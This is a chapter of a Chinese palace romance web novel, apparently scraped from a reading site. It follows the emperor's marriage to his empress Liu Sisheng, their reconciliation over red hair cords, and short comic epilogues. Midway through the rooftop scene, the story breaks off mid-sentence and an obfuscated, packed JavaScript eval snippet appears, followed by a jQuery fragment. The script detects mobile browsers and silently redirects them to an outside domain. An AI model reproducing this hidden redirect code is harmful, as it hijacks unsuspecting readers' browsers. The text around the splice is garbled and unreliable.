109.终了[番外]

作品:《这皇帝我当定了

    “奉天绍命,皇帝诏曰:


    夫中宫正位,乃乾坤定位之基;皇后承尊,实邦家兴替之本。


    今仰承天意,封柳氏为后,授玉册金宝,正位坤宁,协和内外,承宗庙之祀,安四海之心。庶使风化大行于天下,太平永固于九州。


    布告天下,咸使知悉,普天同庆。


    钦此。”


    皇宫内外,红绸高悬,明昭殿前,红妆百里。


    柳思生隔着红纱,缓缓抬头,玉石阶上,心之所往。


    他低头会心一笑,迈开步子,恍若百年之前,一步步踏了上去。


    这次迎接他的不是黑夜,而是那高悬头顶的太阳,是三世纠缠终得落定的宿命。


    世人皆笑他逆天改命,可眼前的命数,不就握在自己手中?


    为他,逆天何惧?死又何惧?


    奕宣笑着朝他伸出手,轻唤一声:“柳思生,快来。”


    柳思生亦伸手,指尖轻点他的掌心。


    天道轮回,因果循环,终是尘埃落定。


    往后种种,只在你我。


    “柳思生,你怎么哭了?是旧伤又裂了,难受吗?”


    奕宣靠坐在床榻上,怀中抱着柳思生,手轻轻拂过他的眼尾,拭去几滴清泪。


    柳思生笑着摇头,往他肩头蹭了蹭,拉起他的手:“没有,我只是太开心了……谢谢你,若朝。”


    奕宣看着他那满头的白发可是笑不出来,捻起一缕轻轻揉搓道:“与我成婚,就那么让人开心吗?”


    还是说你终于嫁给了小白你才开心的?


    可是,这种话,我如今怎么问不出来了?


    “因为是你,只你一人便够了。”柳思生扭了扭头,望向奕宣的侧脸反问,“那你呢?我同你成婚,还占了皇后的位置,就让我这么得逞了?你开心吗?”


    “你觉得呢?”奕宣也将目光投到柳思生脸上,四目相对,“柳思生,其实我从来都没有过真正的自由,你知道我讨厌你,但我也确实放不开你,到头来也是认栽了……”


    “不过话说回来,开心倒是挺开心的。”奕宣说罢,又笑着补了这么一句。


    柳思生“噗嗤”笑出声,抬手环住他的脖颈,本就松垮的衣襟滑落,露出肩头那个“宣”字,奕宣瞧见,心头猛地一颤。


    他轻笑一声,凑到奕宣耳边吹了口气:“若朝,今后,我便是你的了。”


    这般赤裸裸的撩拨,奕宣怎会看不见?他僵硬地移开脸:“说……说什么呢?”


    “情话啊?夫君不愿听吗?”柳思生得寸进尺,腾开一只手,顺着他的脖颈缓缓向下轻抚。


    怎料被奕宣眼疾手快地抓住,终究没能讨到便宜。


    奕宣虽似在训斥,语气里却满是温柔:“行了,不必如此讨好我,我本就不是重欲之人,你心里想什么,我都知道。”


    柳思生指尖微颤,无奈叹了口气:“这又从何说起?”


    “很明显,许是你闭着眼不曾察觉,可我却看得真切,你每次都很疼,对吗?”奕宣问这话时,脸上浮起掩不住的心疼。


    柳思生别过脸:“也不是很疼。”


    “少骗人,上次之后你足足昏了一日,上上次昏了半日,还有上上上次更甚,你昏睡了三日。”奕宣攥着他的手紧了紧,接着道,“我是不知轻重,可你也一味忍着不说,还次次这般撩拨我?”


    “你明明已经这么虚弱,还处处顾忌我做什么?你就真不怕我会伤了你吗?”


    柳思生抽回手,拉了拉身上的衣服,转过身去,默不作声。


    “柳思生!为什么?”奕宣扳着他的肩头,将人转了过来,盯着他的眼睛追问,满眼急切。


    柳思生面露苦楚,声音淡淡的,却答非所问:“我……不能让陛下尽兴吗?”


    奕宣闻言,一脸不可思议:“你在说什么?我只是在心疼你啊!”


    “不对……”奕宣猛地想起什么,急忙追问,“我从未对你说过这种话,是谁跟你说的?还是你从哪里听来的?”


    柳思生不语,只笑着摇头。


    奕宣没问出究竟,那夜的事便不了了之,只是往后再见柳思生,总觉他愈发古怪。


    不单是时常撞见他跟着寻生学琵琶,还曾瞧见他沐浴时……哎,不说了,实在过不了审。


    他病还没好,一天天瞎折腾什么?


    莫非是吴当风对他说过什么混账话?


    “误会啊陛下,这可真是天大的误会!”吴当风手脚并用,浑身拒绝道,“我就带他去过几次青楼,其他我可什么都没教过啊。”


    奕宣一本折子甩到他身上,怒气冲冲道:“原来你还带他去过青楼?你还敢说没对他说什么?”


    “那也是带他去见见世面,年轻嘛,就看了歌舞啊!不过那也都是百年前的事了,我们可百年没见过了,我可是真冤枉了啊!”吴当风吓得躲到柱子后头,探头急急忙忙解释。


    想来也是,要不就是他是百年前就学会了的,原本就是那样;要不就是听别人言又信了的。


    直接排除第一种,本性可不会露出那种痛苦的表情。


    若不是听吴当风的话,那莫不是……


    “啊?陛下冤枉,奴怎敢对皇后娘娘胡言?”


    奕宣叹了口气,屈身蹲下,伸手攥住他的衣领,稍一用力便将人从地上提了起来:“想来你也不敢,放轻松些,朕再问你些别的事。”


    寻生牙齿打着颤,声音发飘:“陛下……请讲。”


    奕宣飞快扫过四周,确认空无一人,这才压低了声线,硬着头皮把话说了一遍。


    “啊?”寻生惊得眼珠子都要瞪出来,“皇后娘娘他……竟还有这般顾虑?”


    奕宣无奈点头:“是啊,朕见他常来找你,想来你会同他聊些什么,快跟朕说说?”


    寻思摇头:“皇后娘娘未对奴说过什么,每次来寻奴,只问奴关于琵琶的事。”


    奕宣又问:“那你觉得是为什么?他不都当上皇后了吗?”


    寻生一惊,又趴了下去磕头:“奴岂敢揣测皇后娘娘心意?”


    “……”


    奕宣见实在问不出什么,索性起身,沉声道:“行了,你回去吧,此事断不可外传。”


    “是。”寻生抖着身子撑起身,急急忙忙转身要走,眼看脚边就是殿门门槛,却猛地顿住脚步,停在了原地。


    奕宣见他迟迟不动,皱眉道:“怎么了?还有事?”


    寻生咬牙,猛地转过身,扑通一声重新跪回地上,俯身行礼时,手腕上那只玉镯随着动作滑出衣袖,恰好晃进奕宣眼中。


    “陛下,皇后娘娘曾对奴有救命之恩,所以奴……也想为娘娘做点什么,哪怕只是微不足道的小事。”


    寻生说完,又重重磕了个响头,声音带上几分坚定:“娘娘确实没对奴说过什么,但奴看得出来……娘娘心里是不安的,他这般模样,定是从前经历过什么,尤其是被抛弃,跟奴从前一样。”


    “不知奴这话能不能帮到陛下,只是奴知道的,便只有这些了。”寻生说完,这才匆匆离去。


    不安吗?


    他柳思生也会不安?


    “陛下不会连礼物都没给柳大人送过吧。”楚卿满脸惊讶,轻轻用团扇遮了遮嘴,“也难怪柳大人不安。”


    楚禹给楚卿倒着茶对他打趣:“原来陛下这么小心眼啊?”


    “……不是,朕没有。”


    反正自己也想不明白,还想着问问别人,可这嘲讽来得未免太快了些。


    楚卿含笑解释:“陛下您仔细想想,二人结为夫妻,原该心意相通、彼此牵挂。寻常百姓家的夫妻,尚且会在生辰或是节令时互赠些小物件,柳大人虽贵为皇后,心里未必不盼着这份寻常温暖。”


    “您是天子,金口玉言重若千钧,那些封赏,是给皇后的;可柳大人心里念着的,或许只是陛下悄悄递过来的一块糖,那才是给他的。”


    奕宣听罢,默默垂首,语气里染上自责:“……别说糖了,我……甚至都没给过他什么赏赐。”


    楚禹手僵在半空,讷讷道:“额……”


    楚卿干笑两声:“哈哈……”


    “我连他喜欢什么都不知道。”奕宣越说越没底气,在椅子上转了转身,避开两人的视线。


    楚卿接话道:“这倒不难,陛下不妨去问问同他亲近之人,比如定北亲王?”


    话到此处,楚禹忽觉奇怪,忍不住问:“说起来,叶定川回北定了吗?怎么封后到现在,都没见他露面?”


    奕宣闻言一惊,猛地站起身:“糟了!大婚前怕他闹事给关大牢里了,之后我把这事给忘了!”


    楚禹:“……那还是别问他了吧。”


    楚卿补了一嘴:“陛下您还是自己想办法吧。”


    “……”


    入夜,宫墙上,柳思生独自坐在墙头饮酒。


    一声叹息后,他喃喃念道:“早知如此绊人心……”


    “何如当初莫相识?”奕宣循声寻来,恰好接上下半句。


    他抬眼,凝望屋檐上的柳思生:“这话,该我说才合适吧。”


    “陛下今日折子批完了?”柳思生看见他来,眉开眼笑,举着酒壶冲他挑眉,“良辰美景好酒作陪,陛下要来共饮吗?”


    “都入秋了,上面风大,你下来我再陪你喝?”奕宣说着,对他伸出手,“都宵禁了,快跟我回去。”


    “站在下面,有墙挡着,看不见月亮,还是上头的风光好啊。”柳思生纹丝不动,将目光从奕宣身上移开,重新投向天际。


    还好早就换了常服,这要是穿着黄袍爬屋檐,怕是要被人笑掉大牙。


    不多时,奕宣也坐到了柳思生身边,伸手夺过他手里的酒壶,带着几分训斥:“身上还有伤,喝什么酒?若是被陆瑶知道了,我都要跟着你挨训。”


    “你是天子,他敢训你?”柳思生顺势靠上他的肩头,笑了两声,许是醉意涌了上来,说话也没了往日的端方,“他若敢训你,你就把他关进大牢,这样他自然也就不会来训我了,哈哈哈……”


    奕宣难得见他这副模样,不由得被逗笑了,感慨道:“还真有人是喝了酒比不喝酒时更讨人喜欢呢。”


    “那陛下日日把我灌醉不就行了?”柳思生说着,缓缓闭上眼,“只要是你喜欢的模样,我都可以去学。”


    奕宣侧目看向他,问:“所以你日日去找寻生,是觉得我喜欢


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16046201|165193||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    听琵琶,便要去学吗?”


    柳思生反问:“你不喜欢听琵琶吗?”


    “喜欢啊。”奕宣答得干脆,“可我喜欢的又不止听琵琶,我还喜欢射箭,喜欢骑马,喜欢喂飒露紫,喜欢种莲花,我的喜欢,是我自己能去选择,而非坐等着被讨好,所以你也不必非要学琵琶。”


    “柳思生,我也选择了你,所以你只是你就好,就跟你对我说的一样,只要是你便好。”奕宣说着,早有准备地捂住他的嘴,“嘲讽的话别说,自责的话也别说,别坏了气氛,更别惹我发火。”


    他嘴角微微一抽,补充道:“我现在算是发现了,你一开口我就不爽,除了喊我名字的时候。”


    柳思生点了点头,轻轻扯开奕宣的手,唤了一声:“若朝。”


    “嗯?”


    “若朝。”


    “怎么了?”


    “若朝。”


    “……”奕宣又默默把手按回他嘴上,“行了,名字你也别喊了。”


    柳思生身子轻轻颤抖着,像是在发笑,奕宣被带动,也跟着笑出了声。


    “哦对了。”奕宣笑到一半,忽然想起正事,从怀中掏出一方手帕。


    柳思生直起身,好奇地打量着:“这是什么?”


    奕宣脸上带着几分期待:“你打开看看不就知道了?”


    柳思生抬手掀开帕子,两根红绳入目,眼眶瞬间湿润。


    奕宣拿起其中一条,指尖拂过柳思生的发梢,小心翼翼地往他发丝上系去,一边系一边说:“我不知道你喜欢什么,想着送那些金银珠宝你未必稀罕,送进贡的物件,又觉得你或许比我见得还多,思来想去,念着你我尚未结发,送这个才最是妥当。”


    话音落时,那红绳已点缀在柳思生缕缕苍白的发丝间。


    奕宣将另一条红绳递到他手上,指了指自己的脑袋:“之前的发带可不算数,你再给我系一次。”


    柳思生眼泪落下,握着红绳的手止不住颤抖,再抬头,眼泪糊了面前之人的脸庞,看都看不真切了。


    “阿无,别哭啊。”奕宣轻轻为他拭去眼泪,柔声哄。


    “我……”柳思生埋下头,将脸抵在奕宣胸口,泣不成声。


    奕宣轻轻拍着他的背,不知怎的,自己眼眶也跟着红了。


    难怪如今再问不出柳将白了,原来我已经不羡慕他了。


    他是天下人眼中的恶人又如何?他何曾负过我?


    所以求你们,就别带他走了吧。


    柳思生此刻卸下了所有伪装,像个孩子般抽泣着,顶着哭红的眼睛,颤颤巍巍地将红绳系在奕宣的发丝上,歪歪扭扭的。


    “礼成。”奕宣擦了擦眼角,双手捧起柳思生的脸,“现在,你是我的,我是你的,阿无,别再不安了,你一不安,我便也跟着不安。”


    “好。”柳思生轻轻蹭了蹭奕宣的手掌,忽然释怀般笑了,“哎呀,喝了一晚上酒,现在真想洗个澡,若朝要一起吗?”


    奕宣没忍住,低头轻轻蹭过他的嘴唇,红着脸嗔道:“你……真是够了。”


    ——————小片段——————


    地牢。


    魏宿抱着膝盖,缩在角落,一双眼睛却不安分,时不时瞟向对门牢房里的叶定川。


    “再看,挖了你的眼!”叶定川本就憋着一肚子火,被魏宿这么来回打量,更气了,扬手就一拳,直直砸在墙上,砸出个大坑。


    魏宿见两人隔着牢门,谁也奈何不了谁,顿时嚣张起来,对着叶定川翻了个大大的白眼:“怎么着?堂堂亲王,也有蹲大牢的一天?这是哪儿得罪陛下了啊?”


    “死老头子,要你管!哼!”叶定川狠狠扭过身子,背对着他,一声闷哼。


    该死的奕若朝,等老子出去,管你是不是皇帝,都要弄……算了,你还不能死,那我就诅咒你断子绝孙,哈哈哈!!!


    奕宣:毫无威胁力,啧啧啧。


    华京楚府。


    “哥!听说柳大人跟若朝哥哥和好了!你说若朝哥哥是送了什么礼物啊?”


    楚禹放下手中的茶杯,慢悠悠言:“听说是江去出的主意,具体送了什么,我问他他也不肯说,不过傅烛说,他听宫里值班的金狮讲,他们二人在房顶上待了一夜,看样子江去的法子管用,许是把话说开了吧。”


    楚卿点了点头,若有所思道:“哦~原来是这样,江大人真不愧是有妻儿的人,懂得就是多,改天我看我也得去请教请教他。”


    楚禹纳闷地看着她:“你有什么好请教他的……等等,你头上戴的是什么?”


    “哦这个啊。”楚卿抬手摸到头上的簪子,脸上泛起一丝娇羞,笑着说,“哥你不都知道吗?这不就是萧公子出宫那日送我的。”


    不知为何,楚禹身上突然冒起一阵冷汗。


    楚卿察觉到他的异样,关切问:“哥,你怎么了?”


    楚禹强作镇定,摆了摆手:“没事,突然感觉脖子发凉……那簪子,你拿远点。”


    后宫。


    “陛下有赏,赐黄金百两,绸缎十匹,琉璃手镯一对,请寻乐官接旨。”


    寻生猛地抬头,一脸茫然:“啊?”


    我干什么了我?